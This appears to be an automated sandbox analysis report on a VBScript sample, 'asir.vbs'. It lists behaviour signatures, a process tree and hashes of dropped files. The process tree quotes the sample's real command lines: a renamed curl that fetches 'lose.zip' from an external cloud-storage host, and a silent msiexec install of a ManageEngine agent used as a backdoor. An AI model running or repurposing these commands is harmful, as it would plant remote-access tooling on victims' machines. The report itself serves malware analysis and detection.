Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/09/2026, 06:32

General

  • Target
    asir.vbs
  • Size 10KB
  • Sample260928-has2dsxt2p
  • SHA256 d6a5ec91bf15db1764e679ad0c72e83231c4558df1b670435db983c387183cab
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • DCAgent remote management tool 1 IoCs

    DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 3 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\asir.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious use of WriteProcessMemory
    PID:2084
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\MSUpdate_65224\lib.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_65224\lose.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/lose.zip
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5232
      • C:\Users\Public\Documents\MSUpdate_65224\lib.dll
        C:\Users\Public\Documents\MSUpdate_65224\lib.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_65224\lose.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/lose.zip
        3⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        PID:2688
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Public\Documents\MSUpdate_65224\setup1.vbs"
      2⤵
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:3104
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" "C:\Users\Public\Documents\MSUpdate_65224\setup1.vbs" /elevated
        3⤵
        • Executes a VBScript file via the Windows Script Host.
        • Suspicious use of WriteProcessMemory
        PID:5292
        • C:\Windows\System32\msiexec.exe
          "C:\Windows\System32\msiexec.exe" /i "C:\Users\Public\Documents\MSUpdate_65224\UEMSAgent.msi" TRANSFORMS="C:\Users\Public\Documents\MSUpdate_65224\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Public\Documents\MSUpdate_65224\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Public\Documents\MSUpdate_65224\DMRootCA.crt" /qn
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:4588
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4532
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 47C9053ED7E801DE366E8611AA0EEB7E
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:5796
    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      PID:4228

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        ClientAuthHandler.dll

        • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
        • Size 2.3MB
        • SHA256 7627f75435af64ab72991eb93996df3f61101e7b57cdf5a9d8d2e06d75b76aad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        dcagentregister.exe

        • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
        • Size 92KB
        • SHA256 430aad28ddd50d0026f7e547764b2f4cd7c54204519e119614895068397904dc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        configuration-settings-dc-win10.xml

        • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-win10.xml
        • Size 242KB
        • SHA256 1a388c11ac7b14c44ecb605da1f6111274beb11d947442311c5ef1a88d6e4b68
        • MD5 SHA1 SHA512 SSDEEP TLSH

        data-dictionary-framework.xml

        • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-framework.xml
        • Size 415KB
        • SHA256 9e2dcf836433b648d592cf5ea82af6d44cc6f0cb8625436dc164dda3601df2a7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        data-dictionary-onpremise.xml

        • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-onpremise.xml
        • Size 109KB
        • SHA256 08d8186f45e7586351c3c345b0bd85d9ca6df33032277a4952255825cc7bd428
        • MD5 SHA1 SHA512 SSDEEP TLSH

        data-dictionary.xml

        • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary.xml
        • Size 1.6MB
        • SHA256 0c6236f2f6794c79fb2795bea6eb04775d94ea8079ce9d92502236bfb448a706
        • MD5 SHA1 SHA512 SSDEEP TLSH

        dcagent.dll

        • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcagent.dll
        • Size 3.1MB
        • SHA256 15ad7ce2ebfda80a19bde288e71b7c63c1b3cd71416b7ee2df6504610de44883
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Lato.woff

        • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Lato.woff
        • Size 36KB
        • SHA256 8587742fa147f288638345f101fe58bd8a426a22c33cf92dc286e928203ef019
        • MD5 SHA1 SHA512 SSDEEP TLSH

        drop_down_icon.png

        • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\drop_down_icon.png
        • Size 449B
        • SHA256 159e7193e72731b16a6516403ff192be20e836a4d06becee474a46ac57e2ce59
        • MD5 SHA1 SHA512 TLSH

        info.png

        • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\info.png
        • Size 2KB
        • SHA256 5042147fddc3c27e346a4145a7448a4199265e12cfced518871f2a318476cb7a
        • MD5 SHA1 SHA512 TLSH

        DCAgentServerInfo.json

        • Path C:\Users\Public\Documents\MSUpdate_65224\DCAgentServerInfo.json
        • Size 1KB
        • SHA256 e62d6402139789dd8e53fcaafb1d338d97b5473cee7be8960a05520c50d937b1
        • MD5 SHA1 SHA512 TLSH

        UEMSAgent.msi

        • Path C:\Users\Public\Documents\MSUpdate_65224\UEMSAgent.msi
        • Size 31.8MB
        • SHA256 92f68fc7f6d0f544a750bf67b4903d1a4062d1372b7f98ab5c2f698eb61359bb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        UEMSAgent.mst

        • Path C:\Users\Public\Documents\MSUpdate_65224\UEMSAgent.mst
        • Size 20KB
        • SHA256 180195558475b32abedb88b3103c06ee464148809986b78de32d8fdba897c516
        • MD5 SHA1 SHA512 SSDEEP TLSH

        lib.dll

        • Path C:\Users\Public\Documents\MSUpdate_65224\lib.dll
        • Size 656KB
        • SHA256 730a34ae4cf82e32f676f0bcd81a418967a641b6e9b88d2ec5d8e668ff4d7838
        • MD5 SHA1 SHA512 SSDEEP TLSH

        lose.zip

        • Path C:\Users\Public\Documents\MSUpdate_65224\lose.zip
        • Size 31.3MB
        • SHA256 a8000f6bcf5b22fa1b27ca1901f743fe252cfae95b33aab58ac8f70e6755abb4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        setup1.vbs

        • Path C:\Users\Public\Documents\MSUpdate_65224\setup1.vbs
        • Size 1KB
        • SHA256 3d1a86ad729817d85377f59c3d5dcc67ba59af9824ae64aea8e626f6a4956d52
        • MD5 SHA1 SHA512 TLSH

        MSI887F.tmp

        • Path C:\Windows\Installer\MSI887F.tmp
        • Size 81KB
        • SHA256 17805948e9d5f51fca01c13bb7dedb1f1a1e17bcf5cc0cb6c01d9f773b712744
        • MD5 SHA1 SHA512 SSDEEP TLSH

        dcagenthttp.dll

        • Path C:\Windows\SysWOW64\dcagenthttp.dll
        • Size 3.6MB
        • SHA256 3de8d74127b797813742dd9fd618c38572b269f8dbb14af4d6014a1addec4e38
        • MD5 SHA1 SHA512 SSDEEP TLSH

        dclibxml2.dll

        • Path C:\Windows\SysWOW64\dclibxml2.dll
        • Size 2.1MB
        • SHA256 a451dd3babd79318b612072cb417fd4848be821a1607dc58ac31676e9312fd7a
        • MD5 SHA1 SHA512 SSDEEP TLSH